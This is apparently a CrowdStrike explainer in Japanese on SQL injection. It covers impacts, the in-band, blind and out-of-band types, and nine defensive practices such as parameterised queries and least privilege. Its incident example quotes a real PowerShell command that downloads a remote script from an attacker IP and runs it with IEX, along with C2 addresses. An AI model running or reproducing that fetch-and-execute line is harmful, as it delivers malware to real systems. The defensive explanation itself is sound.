SQLインジェクション(SQLi)とは
SQLインジェクション(SQLi)とは、悪意のあるSQLコードをアプリケーションに挿入することにより、攻撃者がデータベースの内容を表示または変更できるようにするサイバー攻撃です。Open Web Application Security Projectによると、SQLインジェクションを含むインジェクション攻撃は、2021年で3番目に深刻なWebアプリケーションのセキュリティリスクでした。テストしたアプリケーションでは、274,000回のインジェクションが発生していました。
SQLインジェクション攻撃から保護するには、その影響と発生の仕組みを理解して、ベストプラクティスに従い、脆弱性をテストし、攻撃を積極的に防止するソフトウェアへの投資を検討できるようにすることが不可欠です。
SQLインジェクション攻撃が成功した場合の結果
SQLインジェクション攻撃は、組織に非常に有害な影響を与えるものとなりかねません。組織がアクセスできるデータには、会社の機密データや顧客の個人情報がありますが、SQLインジェクション攻撃は多くの場合、その機密情報を標的にしています。悪意のあるユーザーがSQLインジェクション攻撃を成功させると、次のような影響が及ぶ可能性があります。
- 会社の機密データの流出。攻撃者はSQLインジェクションを使用して、データを取得して改変できます。SQLサーバーに保存されている会社の機密データが流出されるリスクがあります。
- ユーザーのプライバシー侵害。SQLサーバーに格納されているデータによっては、攻撃によってクレジットカード番号などのユーザーの個人情報が流出する可能性があります。
- 攻撃者がシステムへの管理アクセス権を得る。データベースユーザーに管理者権限がある場合、攻撃者は悪意のあるコードを使用して、システムにアクセスできるようになります。この種の脆弱性から保護するため、最小限の特権のみを持つデータベースユーザーを作成してください。
- 攻撃者がシステムへの一般的なアクセス権を得る。ユーザー名とパスワードをチェックする際に脆弱なSQLコマンドを使用すると、攻撃者はユーザーの認証情報を知らなくてもシステムにアクセスできる場合があります。システムへの一般的なアクセスでも、攻撃者は機密情報にアクセスして操作することで、他の損害を与える可能性があります。
- データ整合性の侵害。SQLインジェクションを使用すると、攻撃者はシステムの情報を変更したり、情報を削除したりできます。
SQLインジェクション攻撃が成功した場合の影響は深刻なものとなることがあるため、企業は攻撃が発生する前に防止策を実践し、脆弱性を制限することが重要です。そのためには、SQLインジェクション攻撃がどのように発生するかを理解して、何に直面しているのかを把握する必要があります。
3種類のSQLインジェクション
サイバーセキュリティの脅威を理解することで、組織は攻撃に備え、脆弱性を修正できるようになります。では、SQLインジェクション攻撃の種類を見てみましょう。インバンドSQLインジェクション、インファレンシャルSQLインジェクション、アウトオブバンドSQLインジェクションの3つのカテゴリに分類されます。
1. インバンドSQLインジェクション
インバンドSQLインジェクションは、最も一般的なタイプの攻撃です。このタイプのSQLインジェクション攻撃で、悪意のあるユーザーは、同じ通信チャネルを使用して攻撃を行い、結果を収集します。次の手法は、最も一般的な種類のインバンドSQLインジェクション攻撃です。
- エラーベースSQLインジェクション。この手法では、攻撃者はSQLコマンドを使用してデータベースサーバーからエラーメッセージを生成し、それを基にデータベース構造に関する情報を取得します。エラーメッセージは、WebアプリケーションまたはWebページを開発するときに役立ちますが、データベースに関する情報を公開するので、後で脆弱性になる可能性があります。この脆弱性を回避するため、Webサイトまたはアプリケーションが稼働した後、エラーメッセージを無効にできます。
- ユニオンベースSQLインジェクション。この手法では、攻撃者はSQLのUNION演算子を使用して複数のselectステートメントを結合し、単一のHTTP応答を返します。攻撃者はこの手法を使用して、データベースから情報を抽出できます。この手法は最も一般的なタイプのSQLインジェクションです。エラーベースSQLインジェクションよりも多くのセキュリティ対策が必要です。
2. インファレンシャルSQLインジェクション
インファレンシャルSQLインジェクションは、ブラインドSQLインジェクションとも呼ばれます。インバンドSQLインジェクションとは異なり、Webサイトのデータベースは攻撃者にデータを転送しないからです。代わりに、悪意のあるユーザーは、データペイロードを送信し、応答を観察することで、サーバーの構造を知ることができます。インファレンシャルSQLインジェクション攻撃は、完了までに時間がかかる場合があるため、インバンドSQLインジェクション攻撃ほど一般的ではありません。次の手法を使用する、2種類のインファレンシャルSQLインジェクション攻撃があります。
- ブーリアンインジェクション。この手法では、攻撃者はSQLクエリをデータベースに送信し、結果を観察します。攻撃者は、HTTP応答の情報が変更されたかどうかに基づいて、結果がtrueかfalseかを推測できます。
- タイムベースインジェクション。この手法では、攻撃者はSQLクエリをデータベースに送信し、指定した秒数、応答前にデータベースに待機させます。攻撃者は、応答までに経過した秒数に基づいて、結果がtrueかfalseかを判断できます。たとえば、ハッカーは、最初のデータベースの名前の最初の文字がAの場合に遅延を命令するSQLクエリを使用します。実際に応答が遅れた場合、攻撃者はクエリがtrueであることがわかります。
3. アウトオブバンドSQLインジェクション
アウトオブバンドSQLインジェクションは、最も一般的でないタイプの攻撃です。このタイプのSQLインジェクション攻撃で、悪意のあるユーザーは、結果を収集するのとは別の通信チャネルを使用して、攻撃を行います。攻撃者は、サーバーが遅すぎるか不安定なため、インファレンシャルSQLインジェクションまたはインバンドSQLインジェクションを使用できない場合に、この方法を使用します。
SQLインジェクション攻撃の実行方法
SQLは、リレーショナルデータストリーム管理システムのデータ用に設計された、プログラミングで使用される言語です。SQLクエリは、データの取得、データの更新、レコードの削除などのコマンドを実行します。悪意のあるコマンドを実行するため、攻撃者は、文字列に悪意のあるコードを挿入してSQLサーバーに渡し、実行されるようにします。悪意のあるユーザーが攻撃を実行する方法はいくつかありますが、WebアプリケーションまたはWebページでの脆弱性に関連した一般的な入力は、フリーテキストが許可されるフォームなどの、ユーザー入力フィールドに対するものです。
SQLインジェクションの例
Crowdstrike Falcon Overwatchは、SQLの挿入に成功したインシデントを観察しました。この例では、最初の感染ベクトルとしてコードが実行され、それが次のようにエンコードされたPowerShellコマンドの実行につながりました。
$p=((New-Object Net.WebClient).DownloadString('http[:]//46.17.105[.]207/lzbt6001sop_64refl.ps1'));$p|.('IeX')
このコマンドは、Demux PowerShellローダーのダウンロードをトリガーしました。これは主に接待業および小売業を標的にしてクレジットカードデータを収集するサイバー攻撃者のCarbon Spiderが、よく使用しています。Demurは、46.17.105[.]207
および185.242.85[.]126
をコマンドアンドコントロール(C2)の通信に使用するStager DLLをインメモリーで実行しました。
さらに、アクターはecho 1
とping -n [number] 127.0.0.1
の両方を複数回使用して、SQLインジェクションの試行に対し、ホストが接続と応答を続けるようにしました。また、ドメイン名のクエリのためwmic
も使用しました。
SQLインジェクションからデータベースを保護するための9つのベストプラクティス
WebサイトまたはWebアプリケーションを開発するときには、SQLインジェクション攻撃にさらされる可能性を抑えるためのセキュリティ対策を組み込むことができます。たとえば、次のようなセキュリティ防止対策は、SQLインジェクション攻撃を防ぐ最も効果的な方法です。
- ベンダーが提供する最新のソフトウェアとセキュリティパッチが利用可能になったら、インストールします。
- SQLデータベースに接続するアカウントには、必要最小限の特権のみを付与します。
- 異なるWebサイトやアプリケーション間ではデータベースアカウントを共有しないようにします。
- ドロップダウンメニューを含め、ユーザーが指定できるすべての種類の入力に対して検証を使用します。
- エラーメッセージをクライアントWebブラウザーに送信する代わりに、エラー報告を受け取れるように構成します。
- クエリがパラメーター化されている、事前に準備したステートメントを使用します。これによりすべてのSQLコードを定義して各パラメーターを渡すようにし、攻撃者が後でクエリの意図を変更できないようにします。
- ストアドプロシージャを使用してSQLステートメントを構築します。パラメーターはデータベースに格納して、アプリケーションから呼び出されるようにします。
- 許可リストによる入力検証を使用して、未検証のユーザー入力がクエリに追加されないようにします。
- ユーザー指定のすべての入力はクエリに挿入する前にエスケープして、入力が開発者からのSQLコードと混同されないようにします。
一般に組織は、1つのアカウントが侵害された場合に攻撃者がそれ以上アクセスできないよう、共有アカウントの使用を避けるべきです。また、組織はデータベースのエラーメッセージをクライアントWebブラウザーに送信しないようにするべきです。攻撃者はデータベースの技術的な詳細を知るためにその情報を使用する可能性があるからです。
SQL攻撃を阻止するためのクラウドストライクのアプローチ
SQLインジェクションは一般的なハッキング手法であり、その結果は深刻なものになる可能性があるため、これらの脅威からビジネスを保護することは重要です。ベストプラクティスに従い、脆弱性を定期的にテストすることで、SQLインジェクション攻撃の犠牲になる可能性を減らすことができます。さらに、組織は包括的なサイバーセキュリティソリューション、たとえばCrowdStrike Falcon®プラットフォームなどへの投資を検討するべきです。サイバーセキュリティソリューションは、SQLインジェクションやその他の多くのサイバーセキュリティリスクに対するセキュリティポスチャを強化するのに役立ちます。
Falconプラットフォームは高度にモジュール化され、拡張可能であるため、必要とする保護を簡単に採用できます。クラウドベースのアーキテクチャは、スピードとパフォーマンスを損なうことなく、企業組織を防御できます。クラウドストライクのプラットフォームは、エンドポイント、クラウドワークロード、ID、データなど、エンタープライズリスクの最も重要な領域を保護するのに役立ちます。クラウドストライクがSQLインジェクション攻撃からビジネスをどのように保護できるかについては、「How CrowdStrike’s threat hunting and intelligence teams stopped a SQL injection campaign(クラウドストライクの脅威ハンティングおよびインテリジェンスチームはSQLインジェクションとの戦いをどのように終わらせたか)」をお読みください。